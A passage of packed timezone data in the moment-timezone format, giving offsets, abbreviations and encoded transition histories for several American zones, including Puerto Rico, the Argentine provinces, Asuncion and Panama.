80|01234256565656565656565656565656565678989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898|-48Pzs.L 1jVxs.n 1EX20.o 8wX0 iA0 Qlb0 52O0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 cm0 10q0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|30e4","America/Puerto_Rico|LMT AST AWT APT|4o.p 40 30 30|01231|-2Qi7z.z 1IUbz.z 7XT0 iu0|24e5","America/Araguaina|LMT -03 -02|3c.M 30 20|0121212121212121212121212121212121212121212121212121|-2glwL.c HdKL.c 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 qe10 xb0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0 1EN0 FX0 1HB0 Lz0 dMN0 Lz0 1zd0 Rb0 1wN0 Wn0 1tB0 Rb0 1tB0 WL0 1tB0 Rb0 1zd0 On0 1HB0 FX0 ny10 Lz0|14e4","America/Argentina/Buenos_Aires|LMT CMT -04 -03 -02|3R.M 4g.M 40 30 20|012323232323232323232323232323232323232323234343434343434343|-331U6.c 125cn pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1wp0 Rb0 1wp0 Rb0 1wp0 TX0 A4p0 uL0 1qN0 WL0|","America/Argentina/Catamarca|LMT CMT -04 -03 -02|4n.8 4g.M 40 30 20|012323232323232323232323232323232323232323234343434243432343|-331TA.Q 125bR.E pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1wp0 Rb0 1wq0 Ra0 1wp0 TX0 rlB0 7B0 8zb0 uL0|","America/Argentina/Cordoba|LMT CMT -04 -03 -02|4g.M 4g.M 40 30 20|012323232323232323232323232323232323232323234343434243434343|-331TH.c 125c0 pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1wp0 Rb0 1wq0 Ra0 1wp0 TX0 A4p0 uL0 1qN0 WL0|","America/Argentina/Jujuy|LMT CMT -04 -03 -02|4l.c 4g.M 40 30 20|0123232323232323232323232323232323232323232343434232434343|-331TC.M 125bT.A pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1ze0 TX0 1ld0 WK0 1wp0 TX0 A4p0 uL0|","America/Argentina/La_Rioja|LMT CMT -04 -03 -02|4r.o 4g.M 40 30 20|0123232323232323232323232323232323232323232343434342343432343|-331Tw.A 125bN.o pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1wp0 Qn0 qO0 16n0 Rb0 1wp0 TX0 rlB0 7B0 8zb0 uL0|","America/Argentina/Mendoza|LMT CMT -04 -03 -02|4z.g 4g.M 40 30 20|012323232323232323232323232323232323232323234343423232432343|-331To.I 125bF.w pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1u20 SL0 1vd0 Tb0 1wp0 TW0 ri10 Op0 7TX0 uL0|","America/Argentina/Rio_Gallegos|LMT CMT -04 -03 -02|4A.Q 4g.M 40 30 20|012323232323232323232323232323232323232323234343434343432343|-331Tn.8 125bD.U pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1wp0 Rb0 1wp0 Rb0 1wp0 TX0 rlB0 7B0 8zb0 uL0|","America/Argentina/Salta|LMT CMT -04 -03 -02|4l.E 4g.M 40 30 20|0123232323232323232323232323232323232323232343434342434343|-331TC.k 125bT.8 pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1wp0 Rb0 1wq0 Ra0 1wp0 TX0 A4p0 uL0|","America/Argentina/San_Juan|LMT CMT -04 -03 -02|4y.4 4g.M 40 30 20|0123232323232323232323232323232323232323232343434342343432343|-331Tp.U 125bG.I pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1wp0 Qn0 qO0 16n0 Rb0 1wp0 TX0 rld0 m10 8lb0 uL0|","America/Argentina/San_Luis|LMT CMT -04 -03 -02|4p.o 4g.M 40 30 20|0123232323232323232323232323232323232323232343434232323432323|-331Ty.A 125bP.o pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 XX0 1q20 SL0 AN0 vDb0 m10 8lb0 8L0 jd0 1qN0 WL0 1qN0|","America/Argentina/Tucuman|LMT CMT -04 -03 -02|4k.Q 4g.M 40 30 20|01232323232323232323232323232323232323232323434343424343234343|-331TD.8 125bT.U pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1wp0 Rb0 1wq0 Ra0 1wp0 TX0 rlB0 4N0 8BX0 uL0 1qN0 WL0|","America/Argentina/Ushuaia|LMT CMT -04 -03 -02|4x.c 4g.M 40 30 20|012323232323232323232323232323232323232323234343434343432343|-331Tq.M 125bH.A pKnH.c Mn0 1iN0 Tb0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 1C10 LX0 1C10 LX0 1C10 LX0 1C10 Mn0 MN0 2jz0 MN0 4lX0 u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1wp0 Rb0 1wp0 Rb0 1wp0 TX0 rkN0 8p0 8zb0 uL0|","America/Asuncion|LMT AMT -04 -03|3O.E 3O.E 40 30|0123232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323|-3eLw9.k 1FGo0 1DKM9.k 3CL0 3Dd0 10L0 1pB0 10n0 1pB0 10n0 1pB0 1cL0 1dd0 1db0 1dd0 1cL0 1dd0 1cL0 1dd0 1cL0 1dd0 1db0 1dd0 1cL0 1dd0 1cL0 1dd0 1cL0 1dd0 1db0 1dd0 1cL0 1lB0 14n0 1dd0 1cL0 1fd0 WL0 1rd0 1aL0 1dB0 Xz0 1qp0 Xb0 1qN0 10L0 1rB0 TX0 1tB0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1qN0 1cL0 WN0 1qL0 11B0 1nX0 1ip0 WL0 1qN0 WL0 1qN0 WL0 1tB0 TX0 1tB0 TX0 1tB0 19X0 1a10 1fz0 1a10 1fz0 1cN0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0|28e5","America/Panama|LMT CMT EST|5i.8 5j.A 50|012|-3eLuF.Q Iy01.s|15e5","America/Bahia_Banderas|LMT MST CST MDT PST CDT|71 70 60 60 80 50|0121312141313131313131313131313131313152525252525252525252525252|-1UQF0 deL0 8lc0 17c0 10M0 1dd0 otX0 gmN0 P2N0 13Vd0 1lb0 14p0 